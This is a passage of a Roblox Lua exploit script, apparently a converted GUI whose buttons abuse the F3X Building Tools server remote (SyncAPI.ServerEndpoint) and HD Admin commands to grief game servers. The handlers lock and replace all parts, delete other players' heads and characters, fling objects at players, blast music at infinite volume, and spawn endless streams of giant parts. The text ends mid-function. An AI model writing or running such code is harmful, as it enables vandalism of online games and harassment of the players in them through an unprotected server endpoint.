				[1] = "CreateTextures",
				[2] = {
					[1] = {
						["Part"] = part,
						["Face"] = side,
						["TextureType"] = "Decal"
					}
				}
			}
			serverendpoint:InvokeServer(unpack(args))
		end
		local function setdecal(part, asset, side)
			local args = {
				[1] = "SyncTexture",
				[2] = {
					[1] = {
						["Part"] = part,
						["Face"] = side,
						["TextureType"] = "Decal",
						["Texture"] = "rbxassetid://".. asset
					}
				}
			}
			serverendpoint:InvokeServer(unpack(args))
		end

		local function lockall()
			for _, v in ipairs(workspace:GetDescendants()) do
				if v:IsA("BasePart") then
					spawn(function()
						lock(v, true)
					end)
				end
			end
		end

		local function sky()
			local position = CFrame.new(0, 5, 0)
			local sky = serverendpoint:InvokeServer("CreatePart", "Normal", position, workspace)

			makemesh(sky)
			syncmeshid(sky, "111891702759441")
			syncmeshtexture(sky, "115124098678072")
			MakeMeshNeon(sky)
			syncmeshsize(sky, Vector3.new(60001, 60001, 60001))
			lock(sky, true)
			name(sky, "tysm traffis for doing this :DDD")
			setcollision(sky, false)
		end

		local function createrealm()
			local model_id = "111235723162356"
			local imported_model = game:GetObjects("rbxassetid://" .. model_id)[1]
			imported_model.Parent = game.Lighting


			for _, v in next, imported_model:GetDescendants() do
				pcall(function()
					v.Anchored = true
				end)
			end

			local plr = game:GetService("Players").LocalPlayer
			local f3x_name = "Building Tools"
			local destination = workspace

			coroutine.wrap(function()
				task.wait(10)
				imported_model.Parent = nil
			end)()

			function f3xbuildpart(part, cframe, destination, size, transparency, colour, material, collision, fake_part)
				local allPartsData = {}


				table.insert(allPartsData, {
					Type = fake_part:IsA("WedgePart") and "Wedge" or fake_part:IsA("Seat") and "Seat" or fake_part:IsA("VehicleSeat") and "VehicleSeat" or fake_part:IsA("TrussPart") and "Truss" or fake_part:IsA("SpawnLocation") and "Spawn" or
						fake_part.Shape == Enum.PartType.Block and "Normal" or
						fake_part.Shape == Enum.PartType.Ball and "Ball" or
						fake_part.Shape == Enum.PartType.Cylinder and "Cylinder",
					CFrame = fake_part.CFrame,
					Size = fake_part.Size,
					Transparency = fake_part.Transparency,
					Color = fake_part.Color,
					Material = fake_part.Material,
					Collision = fake_part.CanCollide,
					Ref = fake_part,
				})

				local sync = plr.Backpack:FindFirstChild(f3x_name).SyncAPI.ServerEndpoint
				local partMap = {}


				for _, data in ipairs(allPartsData) do
					local created = sync:InvokeServer("CreatePart", data.Type, data.CFrame, destination)
					partMap[data.Ref] = created
				end

				for _, data in ipairs(allPartsData) do
					local created = partMap[data.Ref]
					if not created then continue end

					if data.Size ~= Vector3.new(4,1,2) then
						task.spawn(function()
							sync:InvokeServer("SyncResize", {
								{ Part = created, CFrame = created.CFrame, Size = data.Size }
							})
						end)
					end

					if data.Transparency ~= 0 then
						task.spawn(function()
							sync:InvokeServer("SyncMaterial", {
								{ Part = created, Transparency = data.Transparency }
							})
						end)
					end

					if data.Color ~= BrickColor.new("Medium stone grey").Color then
						task.spawn(function()
							sync:InvokeServer("SyncColor", {
								{ Part = created, Color = data.Color, UnionColoring = true }
							})
						end)
					end

					if data.Material ~= "Plastic" then
						task.spawn(function()
							sync:InvokeServer("SyncMaterial", {
								{ Part = created, Material = data.Material }
							})
						end)
					end

					if data.Collision ~= true then
						task.spawn(function()
							sync:InvokeServer("SyncCollision", {
								{ Part = created, CanCollide = data.Collision }
							})
						end)
					end

					local ref = data.Ref

					local texture = ref:FindFirstChildOfClass("Texture")
					if texture then
						task.spawn(function()
							sync:InvokeServer("CreateTextures", {
								{ Part = created, Face = texture.Face, TextureType = "Texture" }
							})
						end)
						task.spawn(function()
							sync:InvokeServer("SyncTexture", {
								{ Part = created, Face = texture.Face, TextureType = "Texture", StudsPerTileU = texture.StudsPerTileU, StudsPerTileV = texture.StudsPerTileV, Texture = texture.Texture, Transparency = texture.Transparency }
							})
						end)
					end

					local decal = ref:FindFirstChildOfClass("Decal")
					if decal then
						task.spawn(function()
							sync:InvokeServer("CreateTextures", {
								{ Part = created, Face = decal.Face, TextureType = "Decal" }
							})
						end)
						task.spawn(function()
							sync:InvokeServer("SyncTexture", {
								{ Part = created, Face = decal.Face, TextureType = "Decal", Texture = decal.Texture, Transparency = decal.Transparency }
							})
						end)
					end

					local mesh = ref:FindFirstChildOfClass("SpecialMesh")
					if mesh then
						task.spawn(function()
							sync:InvokeServer("CreateMeshes", {
								{ Part = created }
							})
						end)
						task.spawn(function()
							sync:InvokeServer("SyncMesh", {
								{ Part = created, MeshId = mesh.MeshId, TextureId = mesh.TextureId, Scale = mesh.Scale }
							})
						end)
					end

					local light1 = ref:FindFirstChildOfClass("SpotLight")
					if light1 then
						task.spawn(function()
							sync:InvokeServer("CreateLights", {
								{ Part = created, LightType = "SpotLight" }
							})
						end)
						task.spawn(function()
							sync:InvokeServer("SyncLighting", {
								{ Part = created, LightType = "SpotLight", Color = light1.Color, Range = light1.Range, Face = light1.Face, Angle = light1.Angle, Shadows = light1.Shadows }
							})
						end)
					end

					local light2 = ref:FindFirstChildOfClass("PointLight")
					if light2 then
						task.spawn(function()
							sync:InvokeServer("CreateLights", {
								{ Part = created, LightType = "PointLight" }
							})
						end)
						task.spawn(function()
							sync:InvokeServer("SyncLighting", {
								{ Part = created, LightType = "PointLight", Color = light2.Color, Range = light2.Range, Shadows = light2.Shadows }
							})
						end)


					end
				end
			end

			for _, part in next, imported_model:GetDescendants() do
				local spawnpart = task.spawn
				if part:IsA("Part") then
					if part.Shape == Enum.PartType.Block then
						spawnpart(function()
							f3xbuildpart("Normal", part.CFrame, destination, part.Size, part.Transparency, part.Color, part.Material, part.CanCollide, part)
						end)
					elseif part.Shape == Enum.PartType.Ball then
						spawnpart(function()
							f3xbuildpart("Ball", part.CFrame, destination, part.Size, part.Transparency, part.Color, part.Material, part.CanCollide, part)
						end)
					elseif part.Shape == Enum.PartType.Cylinder then
						spawnpart(function()
							f3xbuildpart("Cylinder", part.CFrame, destination, part.Size, part.Transparency, part.Color, part.Material, part.CanCollide, part)
						end)
					end
				elseif part:IsA("WedgePart") then
					spawnpart(function()
						f3xbuildpart("Wedge", part.CFrame, destination, part.Size, part.Transparency, part.Color, part.Material, part.CanCollide, part)
					end)
				elseif part:IsA("Seat") then
					spawnpart(function()
						f3xbuildpart("Seat", part.CFrame, destination, part.Size, part.Transparency, part.Color, part.Material, part.CanCollide, part)
					end)
				elseif part:IsA("TrussPart") then
					spawnpart(function()
						f3xbuildpart("Truss", part.CFrame, destination, part.Size, part.Transparency, part.Color, part.Material, part.CanCollide, part)
					end)
				elseif part:IsA("VehicleSeat") then
					spawnpart(function()
						f3xbuildpart("VehicleSeat", part.CFrame, destination, part.Size, part.Transparency, part.Color, part.Material, part.CanCollide, part)
					end)
				elseif part:IsA("SpawnLocation") then
					spawnpart(function()
						f3xbuildpart("Spawn", part.CFrame, destination, part.Size, part.Transparency, part.Color, part.Material, part.CanCollide, part)
					end)
				end
			end

		end









		createrealm()
		sky()
		lockall()

		task.wait(0.3)
		RequestCommand:InvokeServer(";respawn all")

		task.wait(0.3)
		RequestCommand:InvokeServer(";r6 all")	
		task.wait(1.3)
		RequestCommand:InvokeServer(";music 110788401793874 ;pitch 1.15 ;volume inf")
		task.wait(0.3)
		RequestCommand:InvokeServer(";sm Team Green2Spooky Realm Comming Out Soon For You bro..")


	end)
end;
task.spawn(C_86);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.scrept heb.TextButton.LocalScript
local function C_88()
	local script = G2L["88"];
	local button = script.Parent

	button.MouseButton1Click:Connect(function()
		local Players = game:GetService("Players")
		local player = Players.LocalPlayer

		local character = player.Character 

		local player = game.Players.LocalPlayer
		local char = player.Character
		local ReplicatedStorage = game:GetService("ReplicatedStorage")


		local backpack = player.Backpack

		local function getf3x()
			for _, v in ipairs(backpack:GetChildren()) do
				if v:FindFirstChild("SyncAPI") then
					return v
				end
			end
			for _, v in ipairs(char:GetChildren()) do
				if v:FindFirstChild("SyncAPI") then
					return v
				end
			end

			return nil
		end

		-- get all info

		local f3x = getf3x()
		if not f3x then
			warn("where yo btools at")
		end
		local syncapi = f3x.SyncAPI
		local serverendpoint = syncapi.ServerEndpoint
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local Players = game:GetService("Players")
		local workspace = game:GetService("Workspace")
		local player = Players.LocalPlayer

		local function findTools()
			local char = player.Character or player.CharacterAdded:Wait()
			for _, v in ipairs(char:GetChildren()) do
				if v:IsA("Tool") and v:FindFirstChild("SyncAPI") then
					return v
				end
			end
			for _, v in ipairs(player.Backpack:GetChildren()) do
				if v:IsA("Tool") and v:FindFirstChild("SyncAPI") then
					return v
				end
			end
		end

		local tool = findTools()
		if not tool then return end

		local remote = tool.SyncAPI.ServerEndpoint
		local function call(a)
			return remote:InvokeServer(unpack(a))
		end

		local function newBall(pos)
			crex = math.random(100,270)
			local imnotfat = math.random(1, 3)
			if imnotfat == 1 then
				ball = remote:InvokeServer("CreatePart", "Ball", pos, workspace)
			else if imnotfat == 2 then
					ball = remote:InvokeServer("CreatePart", "Cylinder", pos, workspace)
				else if imnotfat == 3 then
						ball = remote:InvokeServer("CreatePart", "Normal", pos, workspace)
					end end
				task.spawn(function() call({ "SyncAnchor", { { Part = ball, Anchored = false } } }) end)
				task.spawn(function() call({ "SyncColor", { { Part = ball, UnionColoring = false, Color = Color3.fromRGB(math.random(0,255),math.random(0,255),math.random(0,255)) } } }) end)
				task.spawn(function() call({ "SetName", { ball }, "neon ball" }) end)
				local fuckprotoskid = math.random(1, 2)
				if fuckprotoskid == 1 then
					task.spawn(function() call({ "SyncMaterial", { { Part = ball, Material = Enum.Material.Neon } } }) end)
				end
				if ball.Material ~= Enum.Material.Neon then
					task.spawn(function() call({
						"SyncSurface",
						{
							{
								Part = ball,
								Surfaces = {
									Top = Enum.SurfaceType.Studs,
									Front = Enum.SurfaceType.Studs,
									Bottom = Enum.SurfaceType.Studs,
									Right = Enum.SurfaceType.Studs,
									Left = Enum.SurfaceType.Studs,
									Back = Enum.SurfaceType.Studs
								}
							}
						}
						})

					end)
				end
				task.spawn(function() call({ "SetLocked", { ball }, true }) end)
				task.spawn(function() call({
					"SyncResize",
					{{
						Part = ball,
						Size = Vector3.new(crex, crex, crex),
						CFrame = ball.CFrame
					}}
					})
				end)

			end end

		task.spawn(function()
			while true do
				task.wait(0.1)

				local hrpcf = player.Character.HumanoidRootPart.CFrame
				local x = hrpcf.x
				local z = hrpcf.z
				local randint = math.random(-600, 600)
				local randint2 = math.random(-600, 600)
				local xloc = randint + x
				local zloc = randint2 + z
				local cf = player.Character.HumanoidRootPart.CFrame.y + 400

				task.spawn(function()
					newBall(CFrame.new(math.floor(xloc), math.random(cf, cf + 400), math.floor(zloc)))
				end)
			end
		end)

	end)
end;
task.spawn(C_88);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.scrept heb.TextButton.LocalScript
local function C_8a()
	local script = G2L["8a"];
	local button = script.Parent

	button.MouseButton1Click:Connect(function()
		local player = game.Players.LocalPlayer
		local originalChar = player.Character or player.CharacterAdded:Wait()
		local tool
		while player.Character == originalChar do
			for i, v in ipairs(player:GetDescendants()) do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end

			for i, v in ipairs(game.ReplicatedStorage:GetDescendants()) do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end

			local remote = tool.SyncAPI.ServerEndpoint

			function _(args)
				remote:InvokeServer(unpack(args))
			end

			function DestroyPart(part)
				spawn(function()
					local args = {
						[1] = "Remove",
						[2] = {
							[1] = part
						}
					}
					_(args)
				end)
			end

			function AddDecor(part, dec)
				spawn(function()
					local args = {
						[1] = "CreateDecorations",
						[2] = {
							[1] = {
								["Part"] = part,
								["DecorationType"] = dec
							}
						}
					}
					_(args)
				end)
			end

			function a()
				local dist = 17
				local distance = dist
				local Player = game.Players.LocalPlayer

				if Player then
					local c = game.Players:GetChildren()
					for i = 1, #c do
						if c[i].Name ~= Player.Name then
							if c[i].Character and c[i].Character:FindFirstChild("Head") then
								local char = c[i].Character
								local torso = game.Workspace[Player.Name]:FindFirstChild("Torso")
								if torso and c[i]:DistanceFromCharacter(torso.Position) <= distance then
									DestroyPart(char:FindFirstChild("Head"))
									for _, part in ipairs(char:GetChildren()) do
										if part:IsA("BasePart") then
											AddDecor(part, "Fire")
										end
									end
								end
							end
						end
					end
				end
			end

			spawn(a)
			wait()
		end

	end)
end;
task.spawn(C_8a);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.scrept heb.TextButton.LocalScript
local function C_8c()
	local script = G2L["8c"];
	local button = script.Parent

	button.MouseButton1Click:Connect(function()

		local ReplicatedStorage = game:GetService("ReplicatedStorage")

		local RequestCommandSilent = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

		RequestCommandSilent:InvokeServer(";time 5.7")



		local player = game.Players.LocalPlayer

		local char = player.Character

		local tool

		for i,v in player:GetDescendants() do

			if v.Name == "SyncAPI" then

				tool = v.Parent

			end

		end

		for i,v in game.ReplicatedStorage:GetDescendants() do

			if v.Name == "SyncAPI" then

				tool = v.Parent

			end

		end

		--craaa

		remote = tool.SyncAPI.ServerEndpoint

		function _(args)

			remote:InvokeServer(unpack(args))

		end





		local function invoke(args)

			remote:InvokeServer(unpack(args))end

		local function applyRedLight(part)

			if not part or not part:IsA("BasePart") then return end

			local createArgs = {

				"CreateLights",

				{

					{

						Part = part,

						LightType = "PointLight"

					}

				}

			}

			local syncArgs = {

				"SyncLighting",

				{

					{

						Part = part,

						LightType = "PointLight",

						Color = Color3.fromRGB(255, 0, 0),

						Range = 60,

						Brightness = 2

					}

				}

			}

			invoke(createArgs)

			invoke(syncArgs)

		end





		function SetCollision(part,boolean)

			local args = {

				[1] = "SyncCollision",

				[2] = {

					[1] = {

						["Part"] = part,

						["CanCollide"] = boolean

					}

				}

			}

			_(args)

		end

		function SetAnchor(boolean,part)

			local args = {

				[1] = "SyncAnchor",

				[2] = {

					[1] = {

						["Part"] = part,

						["Anchored"] = boolean

					}

				}

			}

			_(args)

		end

		local function delete(part)

			local args = {

				[1] = "Remove",

				[2] = {

					[1] = part

				}

			}

			remote:InvokeServer(unpack(args))

		end

		function CreatePart(cf,parent)

			local args = {

				[1] = "CreatePart",

				[2] = "Normal",

				[3] = cf,

				[4] = parent

			}

			_(args)

		end

		function MovePart(part,cf)

			local args = {

				[1] = "SyncMove",

				[2] = {

					[1] = {

						["Part"] = part,

						["CFrame"] = cf

					}

				}

			}

			_(args)

		end

		function Resize(part,size,cf)

			local args = {

				[1] = "SyncResize",

				[2] = {

					[1] = {

						["Part"] = part,

						["CFrame"] = cf,

						["Size"] = size

					}

				}

			}

			_(args)

		end

		function AddMesh(part)

			local args = {

				[1] = "CreateMeshes",

				[2] = {

					[1] = {

						["Part"] = part

					}

				}

			}

			_(args)

		end

		function SetMesh(part,meshid)

			local args = {

				[1] = "SyncMesh",

				[2] = {

					[1] = {

						["Part"] = part,

						["MeshId"] = "rbxassetid://"..meshid

					}

				}

			}

			_(args)

		end

		function SetTexture(part, texid)

			local args = {

				[1] = "SyncMesh",

				[2] = {

					[1] = {

						["Part"] = part,

						["TextureId"] = "rbxassetid://"..texid

					}

				}

			}

			_(args)

		end

		function SetName(part, stringg)

			local args = {

				[1] = "SetName",

				[2] = {

					[1] = part

				},

				[3] = stringg

			}

			_(args)

		end

		function MeshResize(part,size)

			local args = {

				[1] = "SyncMesh",

				[2] = {

					[1] = {

						["Part"] = part,

						["Scale"] = size

					}

				}

			}

			_(args)

		end

		function Weld(part1, part2,lead)

			local args = {

				[1] = "CreateWelds",

				[2] = {

					[1] = part1,

					[2] = part2

				},

				[3] = lead

			}

			_(args)

		end

		function SetLocked(part,boolean)

			local args = {

				[1] = "SetLocked",

				[2] = {

					[1] = part

				},

				[3] = boolean

			}

			_(args)

		end

		function SetTrans(part,int)

			local args = {

				[1] = "SyncMaterial",

				[2] = {

					[1] = {

						["Part"] = part,

						["Transparency"] = int

					}

				}

			}

			_(args)

		end

		function CreateSpotlight(part)

			local args = {

				[1] = "CreateLights",

				[2] = {

					[1] = {

						["Part"] = part,

						["LightType"] = "SpotLight"

					}

				}

			}

			_(args)

		end

		function SyncLighting(part,brightness)

			local args = {

				[1] = "SyncLighting",

				[2] = {

					[1] = {

						["Part"] = part,

						["LightType"] = "SpotLight",

						["Brightness"] = brightness

					}

				}

			}

			_(args)

		end

		function Color(part,color)

			local args = {

				[1] = "SyncColor",

				[2] = {

					[1] = {

						["Part"] = part,

						["Color"] = color --[[Color3]],

						["UnionColoring"] = false

					}

				}

			}

			_(args)

		end





		function SpawnDecal(part,side)

			local args = {

				[1] = "CreateTextures",

				[2] = {

					[1] = {

						["Part"] = part,

						["Face"] = side,

						["TextureType"] = "Decal"

					}

				}

			}

			_(args)

		end

		function AddDecal(part,asset,side)

			local args = {

				[1] = "SyncTexture",

				[2] = {

					[1] = {

						["Part"] = part,

						["Face"] = side,

						["TextureType"] = "Decal",

						["Texture"] = "rbxassetid://".. asset

					}

				}

			}

			_(args)

		end

		function Krab(id)

			e = char.HumanoidRootPart.CFrame.x

			f = char.HumanoidRootPart.CFrame.y

			g = char.HumanoidRootPart.CFrame.z

			CreatePart(CFrame.new(math.floor(e), math.floor(f), math.floor(g)) + Vector3.new(0, 53, 0), workspace)

			for i,v in game.Workspace:GetDescendants() do

				if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then

					--spawn(function()

					SetName(v,"pat")

					AddMesh(v)

					--end)

					--spawn(function()

					SetMesh(v,"455783801")

					SetTexture(v,id)

					--end)

					MeshResize(v,Vector3.new(0.7,0.7,0.7))

					SetLocked(v,true)

				end

			end

		end

		Krab("106211613892663")



		local function getPatPart()

			for _, v in workspace:GetDescendants() do

				if v:IsA("BasePart") and v.Name == "pat" then

					return v

				end

			end

			return nil

		end

		local pat = getPatPart()

		if pat then

			applyRedLight(pat)

		end


		RequestCommandSilent:InvokeServer(";music 9046435309 ;volume inf ;punish")

		local function getTargetPart()

			for _, v in workspace:GetDescendants() do

				if v:IsA("BasePart") and v.Name == "pat" then

					return v

				end

			end

			return nil

		end

		local function getValidParts(targetPart)

			local parts = {}

			for _, v in workspace:GetDescendants() do

				if v:IsA("BasePart")

					and v:IsDescendantOf(workspace)

					and v ~= targetPart

					and v.Name ~= "Head"

					and v.Name ~= "Torso"

					and v.Name ~= "Baseplate"

					and v.Name ~= "SpawnLocation"

					and v.Size.X <= 60

					and v.Size.Z <= 60

				then

					table.insert(parts, v)

				end

			end

			return parts

		end

		local function movePartToward(part, targetCF)

			local dir = (targetCF.Position - part.Position).Unit

			local speed = 1

			local maxSpeed = 1000

			local acceleration = 4

			task.spawn(function()

				while speed < maxSpeed do

					speed += acceleration

					if speed > maxSpeed then speed = maxSpeed end

					task.wait(0.1)

				end

			end)

			local newCF = CFrame.new(part.Position + dir * speed)

			MovePart(part, newCF)

		end

		task.spawn(function()

			while true do

				local target = getTargetPart()

				if not target then task.wait(0.5) continue end

				local parts = getValidParts(target)

				if #parts == 0 then break end

				local index = 1

				while index <= #parts do

					for i = 1, 1 do

						local part = parts[index]

						index += 1

						if not part then break end

						task.spawn(function()

							while part and part:IsDescendantOf(workspace) do

								local distance = (part.Position - target.Position).Magnitude



								if part.Name == "HumanoidRootPart" and distance <= 14 then

									local parent = part.Parent

									if parent then

										delete(parent)

									end

									break

								elseif distance <= 10 then

									delete(part)

									break

								end

								SetAnchor(true, part)

								movePartToward(part, target.CFrame)

								task.wait(0.05)

							end

						end)

					end

					task.wait(0.3)

				end

				task.wait(1)

			end

		end)

	end)
end;
task.spawn(C_8c);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.scrept heb.TextButton.LocalScript
local function C_8e()
	local script = G2L["8e"];
	local button = script.Parent

	button.MouseButton1Click:Connect(function()
		local player = game.Players.LocalPlayer
		local char = player.Character
		local tool

		for _,v in ipairs(player:GetDescendants()) do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end

		for _,v in ipairs(game.ReplicatedStorage:GetDescendants()) do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end

		if not tool then return end

		local remote = tool.SyncAPI.ServerEndpoint
		local function _(args)
			remote:InvokeServer(unpack(args))
		end

		function SetRotation(part, rotation)
			local args = {
				[1] = "SyncRotate",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = CFrame.new(part.Position) * CFrame.Angles(
							math.rad(rotation.X),
							math.rad(rotation.Y),
							math.rad(rotation.Z)
						)
					}
				}
			}
			_(args)
		end

		function RandomRotate()
			for _,v in ipairs(workspace:GetDescendants()) do
				if v:IsA("BasePart") then

					local skip = false


					if v:FindFirstAncestorOfClass("Model") then
						local model = v:FindFirstAncestorOfClass("Model")
						if game.Players:GetPlayerFromCharacter(model) then
							skip = true
						end
					end


					if v.Name == "Sky" then
						skip = true
					end


					local mesh = v:FindFirstChildOfClass("SpecialMesh")
					if mesh and tostring(mesh.MeshId):find("111891702759441") then
						skip = true
					end

					if v:IsA("MeshPart") and tostring(v.MeshId):find("111891702759441") then
						skip = true
					end

					if not skip then
						task.spawn(function()
							local randomRotation = Vector3.new(
								math.random(0,360),
								math.random(0,360),
								math.random(0,360)
							)
							SetRotation(v, randomRotation)
						end)
					end
				end
			end
		end

		RandomRotate()

	end)
end;
task.spawn(C_8e);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.scrept heb.TextButton.LocalScript
local function C_90()
	local script = G2L["90"];
	local button = script.Parent

	button.MouseButton1Click:Connect(function()

		local Players = game:GetService("Players")
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local player = Players.LocalPlayer
		if not player then return end

		local tool

		local function findSyncAPITool()
			for _, v in pairs(player:GetDescendants()) do
				if v.Name == "SyncAPI" then
					return v.Parent
				end
			end
			for _, v in pairs(ReplicatedStorage:GetDescendants()) do
				if v.Name == "SyncAPI" then
					return v.Parent
				end
			end
		end

		tool = findSyncAPITool()
		if not tool or not tool:FindFirstChild("SyncAPI") then return end

		local remote = tool.SyncAPI:FindFirstChild("ServerEndpoint")
		if not remote then return end

		local function invoke(args)
			remote:InvokeServer(unpack(args))
		end

		local function SetLocked(part, boolean)
			invoke({ "SetLocked", { part }, boolean })
		end

		local function hasBlockedMesh(part)
			for _, child in ipairs(part:GetChildren()) do
				if child:IsA("SpecialMesh") or child:IsA("Mesh") then
					if child.MeshId and tostring(child.MeshId):find("111891702759441") then
						return true
					end
				end
			end
			return false
		end

		local function MakeNeon()
			for _, v in pairs(workspace:GetDescendants()) do
				if v:IsA("BasePart") and not hasBlockedMesh(v) then
					task.spawn(function()
						SetLocked(v, false)
						invoke({ "SyncMaterial", { { Part = v, Material = Enum.Material.Neon } } })
					end)
				end
			end
		end

		MakeNeon()

	end)
end;
task.spawn(C_90);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.scrept heb.TextButton.LocalScript
local function C_92()
	local script = G2L["92"];
	local button = script.Parent

	button.MouseButton1Click:Connect(function()

		local Players = game:GetService("Players")
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local player = Players.LocalPlayer
		if not player then return end

		local tool

		local function findSyncAPITool()
			for _, v in pairs(player:GetDescendants()) do
				if v.Name == "SyncAPI" then
					return v.Parent
				end
			end
			for _, v in pairs(ReplicatedStorage:GetDescendants()) do
				if v.Name == "SyncAPI" then
					return v.Parent
				end
			end
		end

		tool = findSyncAPITool()
		if not tool or not tool:FindFirstChild("SyncAPI") then return end

		local remote = tool.SyncAPI:FindFirstChild("ServerEndpoint")
		if not remote then return end

		local function invoke(args)
			remote:InvokeServer(unpack(args))
		end

		local function SetLocked(part, boolean)
			invoke({ "SetLocked", { part }, boolean })
		end

		local function hasBlockedMesh(part)
			for _, child in ipairs(part:GetChildren()) do
				if child:IsA("SpecialMesh") or child:IsA("Mesh") then
					if child.MeshId and tostring(child.MeshId):find("111891702759441") then
						return true
					end
				end
			end
			return false
		end

		local function MakeRandomColor()
			for _, v in pairs(workspace:GetDescendants()) do
				if v:IsA("BasePart") and not hasBlockedMesh(v) then
					task.spawn(function()
						SetLocked(v, false)

						local randomColor = Color3.fromRGB(
							math.random(0,255),
							math.random(0,255),
							math.random(0,255)
						)

						invoke({ "SyncColor", { { Part = v, Color = randomColor } } })
					end)
				end
			end
		end

		MakeRandomColor()

	end)
end;
task.spawn(C_92);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.scrept heb.TextButton.LocalScript
local function C_94()
	local script = G2L["94"];
	local button = script.Parent

	button.MouseButton1Click:Connect(function()
		ReplicatedStorage = game:GetService("ReplicatedStorage")
		Players = game:GetService("Players")
		player = Players.LocalPlayer
		char = player.Character or player.CharacterAdded:Wait()
		backpack = player:WaitForChild("Backpack")

		local function getf3x()
			for _, v in ipairs(backpack:GetChildren()) do
				if v:FindFirstChild("SyncAPI") then return v end
			end
			for _, v in ipairs(char:GetChildren()) do
				if v:FindFirstChild("SyncAPI") then return v end
			end
		end

		local f3x = getf3x()
		if not f3x then warn("No F3X found") return end

		local endpoint = f3x.SyncAPI.ServerEndpoint

		local function fastInvoke(args)
			task.spawn(function()
				pcall(function()
					endpoint:InvokeServer(unpack(args))
				end)
			end)
		end

		local function quickPart(t, cf, size, mat, col, trans, mid, mtex, mscale, extra)
			task.spawn(function()
				local p = endpoint:InvokeServer("CreatePart", t, cf, workspace.Terrain)
				if not p then return end

				fastInvoke({"SyncResize",   {{Part = p, CFrame = cf, Size = size}}})
				if mat  then fastInvoke({"SyncMaterial", {{Part = p, Material = mat}}}) end
				if col  then fastInvoke({"SyncColor",    {{Part = p, Color = col, UnionColoring = false}}}) end
				if trans then fastInvoke({"SyncMaterial", {{Part = p, Transparency = trans}}}) end

				if mid or mtex or mscale then
					fastInvoke({"CreateMeshes", {{Part = p}}})
					if mid  then fastInvoke({"SyncMesh", {{Part = p, MeshId   = "rbxassetid://" .. mid}}}) end
					if mtex then fastInvoke({"SyncMesh", {{Part = p, TextureId = "rbxassetid://" .. mtex}}}) end
					if mscale then fastInvoke({"SyncMesh", {{Part = p, Scale = mscale}}}) end
				end

				if extra then extra(p) end
			end)
		end

		math.randomseed(tick())

		local TOAD_MESH   = "14846869"
		local TOAD_TEX    = "14846834"
		local TOAD_SCALE  = Vector3.new(15, 15, 15)
		local TOAD_SIZE   = Vector3.new(50, 50, 30)

		local function rainToads()
			while true do
				task.wait(0.01)

				local c = player.Character
				local hum = c and c:FindFirstChildOfClass("Humanoid")
				local hrp = c and c:FindFirstChild("HumanoidRootPart")

				if not (hum and hrp and hum.Health > 0) then
					task.wait(1)
					continue
				end

				local basePos = hrp.Position

				local rx = math.random(-600, 600)
				local rz = math.random(-600, 600)
				local x = math.floor(basePos.X + rx)
				local z = math.floor(basePos.Z + rz)
				local y = basePos.Y + math.random(400, 800)

				local randomRotation = CFrame.Angles(
					math.rad(math.random(-180, 180)),
					math.rad(math.random(-180, 180)),
					math.rad(math.random(-180, 180))
				)

				local cf = CFrame.new(x, y, z) * randomRotation

				quickPart(
					"Normal",
					cf,
					TOAD_SIZE,
					Enum.Material.Plastic,
					Color3.new(1,1,1),
					0,
					TOAD_MESH,
					TOAD_TEX,
					TOAD_SCALE,
					function(p)
						fastInvoke({"SyncAnchor",    {{Part = p, Anchored = false}}})
						fastInvoke({"SyncCollision", {{Part = p, CanCollide = false}}})

						fastInvoke({"SetName", {{Part = p}}, "taco"})

						local s = Instance.new("Sound", p)
						s.SoundId = "rbxassetid://153752123"
						s.Volume = 0
						s.PlayOnRemove = true
						s:Destroy()
					end
				)
			end
		end

		coroutine.wrap(rainToads)()

	end)
end;
task.spawn(C_94);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.scrept heb.TextButton.LocalScript
local function C_96()
	local script = G2L["96"];
	local button = script.Parent

	button.MouseButton1Click:Connect(function()
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local Players = game:GetService("Players")
		local RunService = game:GetService("RunService")
		local player = Players.LocalPlayer
		local char = player.Character or player.CharacterAdded:Wait()
		local backpack = player:WaitForChild("Backpack")

		local function getf3x()
			for _, v in ipairs(backpack:GetChildren()) do
				if v:FindFirstChild("SyncAPI") then return v end
			end
			for _, v in ipairs(char:GetChildren()) do
				if v:FindFirstChild("SyncAPI") then return v end
			end
		end

		local f3x = getf3x()
		if not f3x then
			warn("No F3X found")
			return
		end

		local endpoint = f3x.SyncAPI.ServerEndpoint

		local function fastInvoke(args)
			task.spawn(function()
				pcall(function()
					endpoint:InvokeServer(unpack(args))
				end)
			end)
		end

		local function quickPart(t, cf, size, mat, col, trans, mid, mtex, mscale, extra)
			task.spawn(function()
				local p = endpoint:InvokeServer("CreatePart", t, cf, workspace.Terrain)
				if not p then return end

				fastInvoke({"SyncResize", {{
					Part = p,
					CFrame = cf,
					Size = size
				}}})

				if mat then fastInvoke({"SyncMaterial", {{Part = p, Material = mat}}}) end
				if col then fastInvoke({"SyncColor", {{Part = p, Color = col, UnionColoring = false}}}) end
				if trans then fastInvoke({"SyncMaterial", {{Part = p, Transparency = trans}}}) end

				if mid or mtex or mscale then
					fastInvoke({"CreateMeshes", {{Part = p}}})
					if mid then fastInvoke({"SyncMesh", {{Part = p, MeshId = "rbxassetid://" .. mid}}}) end
					if mtex then fastInvoke({"SyncMesh", {{Part = p, TextureId = "rbxassetid://" .. mtex}}}) end
					if mscale then fastInvoke({"SyncMesh", {{Part = p, Scale = mscale}}}) end
				end

				if extra then extra(p) end
			end)
		end

		local THOMAS_MESH  = "2231280549"
		local THOMAS_TEX   = "2231280614"
		local THOMAS_SCALE = Vector3.new(2, 2, 1.5)
		local THOMAS_SIZE  = Vector3.new(5, 5, 10)

		local function setInvisibility()
			task.spawn(function()
